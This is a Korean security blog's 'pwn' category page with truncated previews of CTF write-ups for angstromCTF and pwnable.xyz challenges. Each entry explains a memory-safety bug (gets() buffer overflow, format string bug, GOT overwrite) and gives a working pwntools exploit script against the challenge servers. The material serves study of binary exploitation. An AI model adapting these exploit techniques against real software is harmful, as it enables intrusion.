목록pwn (23)
ii4gsp

#include #include #include #include #include #define BUFSIZE 148 #define FLAGSIZE 128 void vuln(char *buf){ gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); char buf[BUFSIZE]; puts("Enter your shellcode:"); vuln(buf);..

main()함수와 flag()함수가 있다. main()함수에서 fgets()함수로 s에 60만큼 입력받는다. 버퍼오버플로우는 불가능하다. 밑에 printf()함수에서 FSB 취약점이 일어난다. from pwn import * r = remote('shell.actf.co', 19011) e = ELF('/home/ii4gsp/purchases') printf_got = e.got['printf'] flag = e.symbols['flag'] flag = str(flag) payload = '' payload += '%' + flag + 'x%10$ln' r.recvuntil('? ') r.sendline(payload.ljust(16) + p64(printf_got)[:3]) r.interactive()..

main()함수에서 scanf()함수로 v4에 입력을받고 1을 입력하면 gets()함수를 실행한다. flag()함수에는 if문을 맞춰주면 flag를 출력해준다. 그냥 main()함수에서 gets()함수를 실행시켜 v5를 오버플로우 시키고 ret를 system()함수와 인자를 전달하면 flag가 출력될것 이다. system()함수의 plt는 0x401050이고, 인자는 0x401231이다. from pwn import * r = remote('shell.actf.co', 19400) r.sendline('1') payload = '' payload += '\x90' * 56 payload += p64(0x401050) payload += p64(0x401231) r.sendline(payload) r.in..

간단한 문제이다. main()함수에서 create_aquarium()함수를 호출한다. create_aquarium()함수에서 scanf()함수로 6번 각 변수에 입력을받고 gets()함수로 변수 dest에 입력을받고, strcpy()함수로 dest에 입력한 내용을 src에 복사를 한다. src를 오버플로우 일으켜 ret를 flag()함수로 조작하면 된다. from pwn import * p = remote('shell.actf.co', 19305) e = ELF('/home/ii4gsp/aquarium') flag = e.symbols['flag'] p.sendlineafter(': ', '1') p.sendlineafter(': ', '1') p.sendlineafter(': ', '1') p.send..

간단한다. gets()함수로 ret를 give_shell()함수로 덮어주면 된다. SFP 포함 32byte이다. from pwn import * p = process('/home/ii4gsp/get_it') e = ELF('/home/ii4gsp/get_it') give_shell = e.symbols['give_shell'] payload = '' payload += '\x90' * 32 payload += p64(give_shell) p.sendline(payload) p.interactive()

read()함수로 buf에 24byte만큼 입력을받는다. v6가 0xCAF3BAEE 이면, 쉘을 획득한다. from pwn import * p = process('/home/ii4gsp/boi') payload = '' payload += '\x90' * 20 payload += p64(0xCAF3BAEE) p.sendline(payload) p.interactive() 간단

다운 ㄱㄱ 1을 입력하면 edit_note()함수가 실행되고, 2를 입력하면 edit_desc()함수가 실행된다. edit_note()함수에서 할당 크기를 물어보고 read()함수로 전역변수 buf에 문자열을 입력받는다. strncpy()함수로 전역변수 buf에 입력받은 내용을 전역변수 s에 복사를 한다. 메모리를 보면 전역변수 s와 buf의 거리는 32byte차이가 난다. s를 오버플로우 일으켜 buf를 printf()함수의 GOT로 변조하면 된다. win()함수는 flag를 출력한다. edit_desc()함수는 buf가 0이면 0x20만큼 할당하고 0x20만큼 문자열을 입력받는다. 0x20은 32이다. edit_note()함수에서 buf를 printf()함수의 GOT로 조작하고 edit_desc()함..

printf()함수에서 포맷스트링 버그가 일어난다. setup()함수에서 printf()의 포맷스트링을 설정해준다. qword_601160은 usr과 128byte만큼 차이가 난다. 바이너리 안에는 플래그의 주소에 가짜 플래그가 있다. 서버에는 진짜 플래그가 있을것이다. Exploit from pwn import * r = remote('svc.pwnable.xyz', 30004) flag = 0x601080 payload = '' payload += 'y' payload += 'A' * 7 payload += p32(flag) r.recvuntil(": ") r.sendline(payload) formatstr = '%p %p %p %p %p %p %p %p %s %p' payload = '' payl..